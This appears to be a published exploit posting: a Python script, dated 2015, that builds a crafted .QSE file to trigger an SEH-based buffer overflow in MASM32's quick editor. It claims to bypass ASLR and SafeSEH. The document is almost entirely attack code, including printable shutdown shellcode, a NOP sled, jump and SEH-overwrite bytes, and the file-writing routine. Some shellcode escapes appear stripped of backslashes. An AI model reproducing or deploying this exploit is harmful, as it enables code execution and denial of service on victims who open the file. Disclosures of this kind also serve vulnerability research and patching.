MASM32 Quick Editor Buffer Overflow
Posted on 18 August 2015
#!/usr/bin/env python # # Exploit Title: MASM32 quick editor .QSE SEH Based Buffer Overflow (ASLR & SAFESEH bypass) # Date: 2015-08-15 # Exploit Author: St0rn <st0rn[at]anbu-pentest[dot]com> # Twitter: st0rnpentest # # Vendor Homepage: http://www.masm32.com/ # Software Link: http://www.masm32.com/masmdl.htm # Version: MASM32 11 qeditor 4.0g # Tested on: Windows 7 # from struct import pack import sys # 95 bytes Little Joke shellcode :p (shutdown) # The shellcode must be printable shellcode="" shellcode+="x89xE3" shellcode+="xDBxC2" shellcode+="xD9x73xF4" shellcode+="x5E" shellcode+="VYIIIIIIIIIICCCCCC7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIOKEoDFPNEsFQIYLqEeKjKcIICDDdIdQJNcKrGtFQQJDKGsQJF" shellcode+="THdMkIONBPaG3GPGBB2HMKuDCC0OYNnEaMDH9O3LyQOHoJWCzDmP8KGIkLXGnGFIlDlMOOdEnFNQsHgEBJ0PZFHQwKaMKF5OwLCD4D" shellcode+="QP5DtJPE7OuP5JvJCMeBmCcDsQQKTQJBDKIBSEDOlQbIKK5MMBwEoJYN4KlHtMYJFDtKuBRKiBXOzBlJuBUIBLIKbPeMqKQEpFxNRP1" shellcode+="CjHFGGOTKLNmIpDLKLG2D6O6L2DoKLOpGfNNJqLzQ3GKKdPlMrQoL3NHHnFDOjIyPJNkOSIzFSD4EVCPKaE1FPFKOLQdNPPQHyD6KzQI" shellcode+="NJENKKN2FEF9GtDqFbLUBnGhFCEmEGIXQaGPI8Q6LuClDkISG6OkDsOVQSKPIcQJGNQiOfClHmPzNSFNQiL1PHOEDVLNINDUITDCEoCKBBO3DNOKLJAA" nop="x90"*(1140-35) # Destination of jump: qeditor add 8C opcode (mov in assembly) which crash qeditor bypass="xe2" # with the nop (8C90 90909090) to bypass this we can use different opcodes. endnop="x90"*34 # The opcode e2 make the instruction 8ce2 (MOV DX,FS) and the execution flow nop+=bypass+endnop # can be continued junk="x90"*(1704-95) # Junk after shellcode padding='x62'*52 # 52 bytes available after SE Handler jump="xe9x14xf5xffxff" # jump to the nop nseh="xebxf9x90x90" # jump to previous instruction seh=pack("<I",0x00406a25) # asciiprint: pop edi pop esi ret (C:masm32qeditor.exe) payload=nop+shellcode+junk+jump+nseh+seh+padding try: f=open("evil.qse","w") f.write(payload) f.close() print "Evil QSE script created! Hack'n'Roll" except: print "Can't create Evil QSE script :'(" sys.exit(0)
